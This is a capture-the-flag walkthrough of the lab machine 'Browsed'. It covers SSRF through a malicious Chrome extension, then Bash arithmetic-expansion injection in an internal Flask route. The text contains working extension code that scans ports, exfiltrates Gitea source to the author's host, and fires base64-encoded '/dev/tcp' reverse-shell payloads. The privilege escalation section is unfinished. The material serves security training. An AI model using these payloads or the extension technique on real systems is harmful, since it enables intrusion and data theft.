Overview
Browsed is a medium Linux machine that chains together three distinct exploitation techniques: browser-context SSRF via a malicious Chrome extension, Bash arithmetic expansion injection in an internal Flask app, and Python bytecode cache poisoning for privilege escalation. The initial foothold requires understanding how Chrome extensions work and how a server-side headless browser can be weaponised to pivot to internal services.
Difficulty: Medium | OS: Linux | IP: 10.129.244.79
Reconnaissance
Started with a basic nmap scan and found port 80 open, a website that lets you upload and test Chrome extensions as .zip files. Adding browsedinternals.htb to /etc/hosts revealed a Gitea instance running internally on port 3000.
The site clearly runs a headless Chrome instance server-side to load and test uploaded extensions. This is the attack surface.
Initial Access: Malicious Chrome Extension
What a Chrome Extension Can Do
Chrome extensions with the right permissions can make arbitrary network requests, including to 127.0.0.1. Because the request originates from the browser process running on the server, it bypasses any firewall rules protecting internal services. This is browser-context SSRF.
The key permissions needed in manifest.json:
{
"manifest_version": 3,
"name": "Font Switcher",
"version": "2.0.0",
"permissions": ["storage", "scripting", "tabs"],
"host_permissions": ["<all_urls>"],
"background": { "service_worker": "background.js" }
}The host_permissions: ["<all_urls>"] is what allows the background service worker to fetch() any URL including http://127.0.0.1.
Phase 1: Port Recon
I wrote a background.js that probes common localhost ports and beacons results back to my machine:
// background.js: port scanner
var IP = "10.10.16.73";
var PORT = "8080";
var PORTS = [80, 3000, 4000, 5000, 8000, 8080, 8888, 9000];
function beacon(path, data) {
fetch("http://" + IP + ":" + PORT + "/" + path, {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(data)
}).catch(function(){});
}
function probePort(port) {
var controller = new AbortController();
setTimeout(function(){ controller.abort(); }, 2000);
fetch("http://127.0.0.1:" + port + "/", {
signal: controller.signal,
mode: "no-cors"
}).then(function() {
beacon("port", {port: port, status: "OPEN"});
}).catch(function(e) {
if (e.name !== "AbortError") return;
beacon("port", {port: port, status: "TIMEOUT"});
});
}
PORTS.forEach(probePort);I set up a listener on port 8080 to catch the beacons:
python3 -c "
import http.server, json
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length',0))
data = json.loads(self.rfile.read(l))
print('[HIT]', self.path, json.dumps(data))
self.send_response(200); self.end_headers()
def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()
"Results from the Chrome log showed three open ports:
| Port | Service |
|---|---|
| 80 | Public web app |
| 3000 | Gitea (internal) |
| 5000 | Flask app |
Why this worked: The Chrome extension's
background.jsruns inside the browser process on the server. When it callsfetch("http://127.0.0.1:5000"), the request originates from the server's localhost, bypassing external firewall rules entirely.
Phase 2: Gitea Recon
With port 3000 identified as Gitea, I fetched the repo list via the Gitea API:
fetch("http://127.0.0.1:3000/api/v1/repos/search?limit=50")
.then(function(r){ return r.json(); })
.then(function(d){ beacon("repos", d); });This returned a repo: larry/MarkdownPreview. I then fetched the full file tree and dumped app.py:
fetch("http://127.0.0.1:3000/larry/MarkdownPreview/raw/branch/main/app.py")
.then(function(r){ return r.text(); })
.then(function(t){ beacon("app_py", {content: t}); });This revealed the full Flask source code.
What the Flask App Does
The app had a standard Markdown-to-HTML converter at /submit (safe, uses Python's markdown library directly) and a suspicious route:
@app.route('/routines/<rid>')
def routines(rid):
subprocess.run(["./routines.sh", rid])
return "Routine executed !"The rid value from the URL is passed as an argument to routines.sh. Python's subprocess.run with a list (no shell=True) is safe on its own, but routines.sh is a Bash script that uses the parameter in a dangerous way.
Why subprocess.run([..., rid]) Is Not Enough Protection
Python passes rid safely as a single argument, no shell injection on the Python side. But inside routines.sh, Bash evaluates $1 using arithmetic expansion:
result=$(( $1 ))Bash arithmetic expansion evaluates the expression literally. Injecting 1));COMMAND causes Bash to close the $(( )) block and execute the command:
$(( 1)); COMMAND # ))This is the Bash arithmetic expansion injection vulnerability.
Phase 3: Reverse Shell
I built a targeted exploit extension. A key lesson from earlier attempts: avoid template literals and complex string interpolation in MV3 service workers: Chrome's parser is strict and will silently fail to run your service worker if syntax is invalid.
Also important: always validate your JS with node --check background.js before packaging.
// background.js: exploit
var IP = "10.10.16.73";
var LPORT = "8080";
var SHLPORT = "9001";
function beacon(path, data) {
fetch("http://" + IP + ":" + LPORT + "/" + path, {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(data)
}).catch(function(){});
}
function fire(payload) {
fetch("http://127.0.0.1:5000/routines/" + encodeURIComponent(payload), {
mode: "no-cors"
}).catch(function(){});
}
function exploit() {
var shell = "bash -i >& /dev/tcp/" + IP + "/" + SHLPORT + " 0>&1";
var b64 = btoa(shell);
// Arithmetic expansion breakout: 1));CMD #
var payloads = [
"1));echo " + b64 + "|base64 -d|bash #",
"a[$(echo " + b64 + "|base64 -d|bash)]",
"0+$(echo " + b64 + "|base64 -d|bash)"
];
var i = 0;
function next() {
if (i >= payloads.length) return;
fire(payloads[i++]);
setTimeout(next, 600);
}
next();
}
setTimeout(exploit, 1000);The shell payload is base64-encoded to avoid special characters being mangled by URL encoding or shell interpretation.
With nc -lvnp 9001 listening, I uploaded the extension and caught the shell:
connect to [10.10.16.73] from (UNKNOWN) [10.129.244.79] 50942
bash: cannot set terminal process group (1452): Inappropriate ioctl for device
larry@browsed:~/markdownPreview$Shell Stabilisation
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermUser Flag
larry@browsed:~$ cat user.txt
5327623407ac1dab034c874c2851e704What Went Wrong Along the Way
JS Syntax Errors in MV3 Service Workers
Earlier versions of background.js used comments containing raw URLs and template literals with complex expressions. Chrome's MV3 service worker parser threw:
Uncaught SyntaxError: Unexpected identifier 'http'The extension loaded but the service worker never ran. Fix: no comments with URLs, use plain string concatenation, validate with node --check.
Targeting the Wrong Flask Endpoint
Initially I targeted /submit (the Markdown form) thinking it had injection. It didn't, it used Python's markdown library which is safe. The actual injection was in /routines/<rid> which passed user input to a Bash script.
.pyc File Permissions
When writing a .pyc file, the default umask creates it as 644 (owner read/write, others read-only). If I wrote it as larry and then tried to overwrite it in a second step, I got Permission denied. This taught me to carefully check file ownership and permissions before attempting overwrites.
Privilege Escalation
To be continued...
Key Takeaways
- Chrome extensions with
host_permissions: ["<all_urls>"]can SSRF any internal service the browser can reach - MV3 background service workers are strict about JS syntax, validate before packaging
subprocess.runwithoutshell=Trueis safe on the Python side but cannot protect you if the target shell script uses$1in an arithmetic context- Gitea's unauthenticated API (
/api/v1/repos/search) leaks repo names and source code when misconfigured as public - Always
rmbefore overwriting a file you own with644permissions in a world-writable directory